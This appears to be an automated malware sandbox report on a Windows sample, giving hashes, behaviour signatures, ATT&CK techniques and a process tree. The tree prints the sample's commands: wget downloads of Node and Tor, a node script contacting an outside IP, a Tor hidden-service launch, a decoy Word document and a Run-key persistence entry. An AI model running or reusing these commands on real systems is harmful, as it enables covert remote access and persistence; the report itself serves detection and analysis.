23cfbb0bf1e110a79678f45c29897e6090b660d3df420bbb916fc3f1bc12eead

Analysis

max time kernel
109s
max time network
148s
platform
windows10_x64
resource
win10v200722
submitted
13/08/2020, 10:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1.exe
Size 693KB
Sample200813-2np3wab2qa
SHA256 23cfbb0bf1e110a79678f45c29897e6090b660d3df420bbb916fc3f1bc12eead
MD5 eb8d97854d44e4af3907600f28b4b1e6
SHA1 ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
SHA512 569a77fd8eb26a0bb1f590d0d2868673a93651e349d8962f021a0f498f665fffff2e33909b1937ec5e836710b1112142ed6d8aa90e6582ee93dda5c6e16b59c8
MD5 SHA1 SHA512

Score

8^/10

persistence

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
580	wget.exe
1060	wget.exe
1216	7za.exe
3772	node.exe
3100	node.exe
3536	tor.exe

Loads dropped DLL 7 IoCs

pid	Process
3536	tor.exe
3536	tor.exe
3536	tor.exe
3536	tor.exe
3536	tor.exe
3536	tor.exe
3536	tor.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\Update = "\"C:\\Users\\Admin\\AppData\\Roaming\\TN\\node\" \"C:\\Users\\Admin\\AppData\\Roaming\\TN\\service\""	reg.exe

JavaScript code in executable 9 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad3f-370.dat	js
behavioral2/files/0x000100000001ad3c-476.dat	js
behavioral2/files/0x000100000001ad3f-478.dat	js
behavioral2/files/0x000100000001ad4e-585.dat	js
behavioral2/files/0x000100000001ad4e-586.dat	js
behavioral2/files/0x000100000001ad45-589.dat	js
behavioral2/files/0x000100000001ad46-587.dat	js
behavioral2/files/0x000100000001ad46-593.dat	js
behavioral2/files/0x000100000001ad45-595.dat	js

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1124	WINWORD.EXE
1124	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
580	wget.exe
580	wget.exe
1060	wget.exe
1060	wget.exe
3772	node.exe
3772	node.exe
3100	node.exe
3100	node.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE
1124	WINWORD.EXE

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 2740	3740	1.exe	66
PID 3740 wrote to memory of 2740	3740	1.exe	66
PID 3740 wrote to memory of 2740	3740	1.exe	66
PID 3740 wrote to memory of 580	3740	1.exe	68
PID 3740 wrote to memory of 580	3740	1.exe	68
PID 3740 wrote to memory of 580	3740	1.exe	68
PID 2740 wrote to memory of 1124	2740	cmd.exe	70
PID 2740 wrote to memory of 1124	2740	cmd.exe	70
PID 3740 wrote to memory of 1060	3740	1.exe	72
PID 3740 wrote to memory of 1060	3740	1.exe	72
PID 3740 wrote to memory of 1060	3740	1.exe	72
PID 3740 wrote to memory of 1216	3740	1.exe	74
PID 3740 wrote to memory of 1216	3740	1.exe	74
PID 3740 wrote to memory of 1216	3740	1.exe	74
PID 3740 wrote to memory of 1648	3740	1.exe	76
PID 3740 wrote to memory of 1648	3740	1.exe	76
PID 3740 wrote to memory of 1648	3740	1.exe	76
PID 1648 wrote to memory of 3772	1648	cmd.exe	78
PID 1648 wrote to memory of 3772	1648	cmd.exe	78
PID 1648 wrote to memory of 3772	1648	cmd.exe	78
PID 3772 wrote to memory of 3100	3772	node.exe	79
PID 3772 wrote to memory of 3100	3772	node.exe	79
PID 3772 wrote to memory of 3100	3772	node.exe	79
PID 3100 wrote to memory of 3536	3100	node.exe	80
PID 3100 wrote to memory of 3536	3100	node.exe	80
PID 3100 wrote to memory of 3536	3100	node.exe	80
PID 3100 wrote to memory of 2412	3100	node.exe	89
PID 3100 wrote to memory of 2412	3100	node.exe	89
PID 3100 wrote to memory of 2412	3100	node.exe	89
PID 2412 wrote to memory of 2156	2412	cmd.exe	91
PID 2412 wrote to memory of 2156	2412	cmd.exe	91
PID 2412 wrote to memory of 2156	2412	cmd.exe	91
PID 3100 wrote to memory of 508	3100	node.exe	92
PID 3100 wrote to memory of 508	3100	node.exe	92
PID 3100 wrote to memory of 508	3100	node.exe	92
PID 508 wrote to memory of 3836	508	cmd.exe	94
PID 508 wrote to memory of 3836	508	cmd.exe	94
PID 508 wrote to memory of 3836	508	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c document.doc
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\TN\document.doc" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:1124
- C:\Users\Admin\AppData\Roaming\TN\wget.exe
  "C:\Users\Admin\AppData\Roaming\TN\wget.exe" --no-check-certificate https://nodejs.org/dist/latest-carbon/win-x86/node.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:580
- C:\Users\Admin\AppData\Roaming\TN\wget.exe
  "C:\Users\Admin\AppData\Roaming\TN\wget.exe" --no-check-certificate https://www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1060
- C:\Users\Admin\AppData\Roaming\TN\7za.exe
  "C:\Users\Admin\AppData\Roaming\TN\7za.exe" e -y tor-win32-0.4.3.5.zip
  2⤵
  - Executes dropped EXE
  PID:1216
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248.165.254)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Users\Admin\AppData\Roaming\TN\node.exe
    node service 192.248.165.254
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3772
  - - C:\Users\Admin\AppData\Roaming\TN\node.exe
      C:\Users\Admin\AppData\Roaming\TN\node.exe C:\Users\Admin\AppData\Roaming\TN\service 192.248.165.254 ""
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3100
    - - C:\Users\Admin\AppData\Roaming\TN\tor.exe
        
        tor SocksPort 0 DataDirectory . HiddenServiceDir . HiddenServicePort "80 127.0.0.1:60513"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3536
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /f /d "\"C:\Users\Admin\AppData\Roaming\TN\node\" \"C:\Users\Admin\AppData\Roaming\TN\service\""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2412
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /f /d "\"C:\Users\Admin\AppData\Roaming\TN\node\" \"C:\Users\Admin\AppData\Roaming\TN\service\"
        6⤵
        Adds Run key to start application
        
        PID:2156
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:508
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update"
        6⤵
        
        PID:3836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/580-7-0x0000000002600000-0x0000000002601000-memory.dmp

Download

memory/580-6-0x0000000002E00000-0x0000000002E01000-memory.dmp

Download

memory/580-5-0x0000000002600000-0x0000000002601000-memory.dmp

Download

memory/1060-188-0x0000000002610000-0x0000000002611000-memory.dmp

Download

memory/1060-186-0x0000000002610000-0x0000000002611000-memory.dmp

Download

memory/1060-187-0x0000000002E10000-0x0000000002E11000-memory.dmp

Download

memory/1124-602-0x00007FFA6BCC0000-0x00007FFA6C386000-memory.dmp

Download

memory/3100-479-0x00000000040E0000-0x00000000040E1000-memory.dmp

Download

memory/3100-480-0x00000000048E0000-0x00000000048E1000-memory.dmp

Download

memory/3100-481-0x00000000040E0000-0x00000000040E1000-memory.dmp

Download

memory/3100-569-0x00000000040E0000-0x00000000040E1000-memory.dmp

Download

memory/3536-601-0x0000000072D40000-0x0000000072DC4000-memory.dmp

Download

memory/3772-371-0x00000000040A0000-0x00000000040A1000-memory.dmp

Download

memory/3772-372-0x00000000048A0000-0x00000000048A1000-memory.dmp

Download

memory/3772-373-0x00000000040A0000-0x00000000040A1000-memory.dmp

Download